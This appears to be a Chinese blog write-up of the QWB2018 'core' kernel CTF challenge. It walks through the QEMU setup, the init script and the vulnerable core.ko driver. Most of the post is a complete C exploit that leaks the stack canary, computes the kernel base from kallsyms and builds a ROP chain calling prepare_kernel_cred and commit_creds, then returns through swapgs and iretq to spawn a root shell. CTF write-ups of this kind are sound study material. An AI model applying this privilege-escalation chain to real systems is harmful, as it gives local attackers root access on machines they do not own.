Linux Kernel Pwn(二)

April 1, 2020 PWN 访问: 60 次

kernel pwn ROP利用方法

QWB2018-core为例子

start.sh启动脚本

qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

把文件系统core.cpio解压之后,查看init文件

     1  #!/bin/sh
     2  mount -t proc proc /proc
     3  mount -t sysfs sysfs /sys
     4  mount -t devtmpfs none /dev
     5  /sbin/mdev -s
     6  mkdir -p /dev/pts
     7  mount -vt devpts -o gid=4,mode=620 none /dev/pts
     8  chmod 666 /dev/ptmx
     9  cat /proc/kallsyms > /tmp/kallsyms
    10  echo 1 > /proc/sys/kernel/kptr_restrict
    11  echo 1 > /proc/sys/kernel/dmesg_restrict
    12  ifconfig eth0 up
    13  udhcpc -i eth0
    14  ifconfig eth0 10.0.2.15 netmask 255.255.255.0
    15  route add default gw 10.0.2.2 
    16  insmod /core.ko
    17  
    18  #poweroff -d 120 -f &
    19  setsid /bin/cttyhack setuidgid 1000 /bin/sh
    20  echo 'sh end!\n'
    21  umount /proc
    22  umount /sys
    23  
    24  poweroff -d 0  -f

在第9行把不能查看的地址信息拷贝到了tmp目录下了,所以我们可以通过该文件计算基地址。第18行设置时间限制。我们调试的时候把这行注释掉比较方便,为了能执行lsmod,所以把setsid /bin/cttyhack setuidgid 1000 /bin/sh改成setsid /bin/cttyhack setuidgid 0 /bin/sh

分析core.ko

 radish ➜ give_to_player  checksec --file core.ko 
[*] '/media/psf/Home/MyFile/ctf/kernel-pwn/test-two/give_to_player/give_to_player/core.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

跟驱动的漏洞有两处
- core_read函数中off变量可控,可以泄露出栈上的地址(canary)
- core_copy_func函数中存在数据类型转化造成任意长度复制到栈上,导致栈溢出

攻击流程:
- 通过/tmp/kallsyms来计算出来kernel的基地址
- 通过ropper来获取一些gadget的地址供后门构造rop chain使用
- 泄露canary
- rop即可

内核态切换回用户态:通过 swapgs 恢复 GS 值;通过iretq 恢复各寄存器值到用户态;

exp:

#include<stdio.h>
#include<sys/ioctl.h>
#include<fcntl.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#include <ctype.h>

void HexStrToByte(const char* source, unsigned char* dest, int sourceLen)
{
    short i;
    unsigned char highByte, lowByte;

    for (i = 0; i < sourceLen; i += 2)
    {
        highByte = toupper(source[i]);
        lowByte  = toupper(source[i + 1]);

        if (highByte > 0x39)
            highByte -= 0x37;
        else
            highByte -= 0x30;

        if (lowByte > 0x39)
            lowByte -= 0x37;
        else
            lowByte -= 0x30;

        dest[i / 2] = (highByte << 4) | lowByte;
    }
    return ;
}


void set_off(int fd,size_t size)
{  
    printf("set off %ld \n",size);
    ioctl(fd,0x6677889C,size);
}

void read_str(int fd,char *addr)
{
    printf("* read buf *\n");
    ioctl(fd,0x6677889B,addr);
}

void reverse(char *str,char *str2){
    int i=0;
    for(i=0;i<8;i++)
    {
        str[i]=str2[7-i];
    }
}

size_t search_symbols(char *str){
    char line[0x50],addr[0x50]={0},addr_2[0x50]={0},addr_3[0x10]={0};
    size_t num;
    FILE *fd=fopen("/tmp/kallsyms","r");
    while(!feof(fd))
    {
        fgets(line,0x50,fd);
        // printf("读取内容:%s", c);
        if(strstr(line,str))
        {
            strncpy(addr,line,16);
            HexStrToByte(addr,addr_2,16);
            // printf("%s",addr_2);
            reverse(addr_3,addr_2);
            num = ((size_t *)addr_3)[0];
        }
    }
    fclose(fd);
    return num;
}
size_t user_cs,user_ss,user_sp,user_rflags;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void get_shell()
{
    if(!getuid())
    {
        printf(":) root:");
        system("/bin/sh");
    }else{
        printf(":( pwn fail!!!");
    }
}

int main()
{
    save_status();
    int i,file = open("/proc/core",2);
    size_t commit_creds_offset,prepare_kernel_cred,rop[0x300] = {0},base_addr,commit_creds;
    commit_creds_offset = 0x9c8e0;
/*get vmlinux base*/    
    base_addr = search_symbols("commit_creds")-commit_creds_offset;
    printf("base_addr :%p\n",base_addr);
    prepare_kernel_cred = base_addr + 0x9cce0;
    printf("prepare_kernel_cred :%p\n",prepare_kernel_cred);
    commit_creds = base_addr + commit_creds_offset;
    printf("commit_creds :%p\n",commit_creds);
    size_t pop_rdi = 0xb2f + base_addr;
    size_t pop_rdx = 0xa0f49 + base_addr;
    size_t code_1 = 0x6a6d2 + base_addr;//mov rdi, rax ; call rdx
    size_t code_2 = 0xa012da + base_addr;// swapgs ; popfq ; ret
    size_t code_3 = 0x50ac2 + base_addr;//iretq; ret; 

/*get canary*/
    char *str_addr = malloc(0x80);
    set_off(file,0x40);
    read_str(file,str_addr);
    size_t canary = ((size_t *)str_addr)[0];
    printf("canary: %p\n", canary);
    printf("canary: %p\n", ((size_t *)str_addr)[1]);



/* rop chain */
    size_t payload[0x100]={0};
    for(i=0;i<8;i++)
    {
        payload[i] = 0x12345678;
    }
    payload[i++] = canary;
    payload[i++] = 0x12345678;
    payload[i++] = pop_rdi;
    payload[i++] = 0;
    payload[i++] = prepare_kernel_cred;
    payload[i++] = pop_rdx;
    payload[i++] = commit_creds;
    payload[i++] = code_1;
    payload[i++] = code_2;
    payload[i++] = 0;
    payload[i++] = code_3;
    payload[i++] = (size_t)get_shell;
    payload[i++] = user_cs;
    payload[i++] = user_rflags;
    payload[i++] = user_sp;
    payload[i++] = user_ss;


/*get shell*/  
    write(file,payload,0x800);
    ioctl(file,0x6677889A,0xffffffffffff0000 | (0x100));
    return 0;
}

遇到的一些问题

1、当泄露出的数据转换数字的时有点麻烦
2、open函数的第二个参数使用不当时,会导致驱动的write功能失效
3、计算基地址时,需要用到commit_creds的偏移,用pwntools中的ELF找出来即可
4、C语言在文件中匹配字符串有点不熟练

添加新评论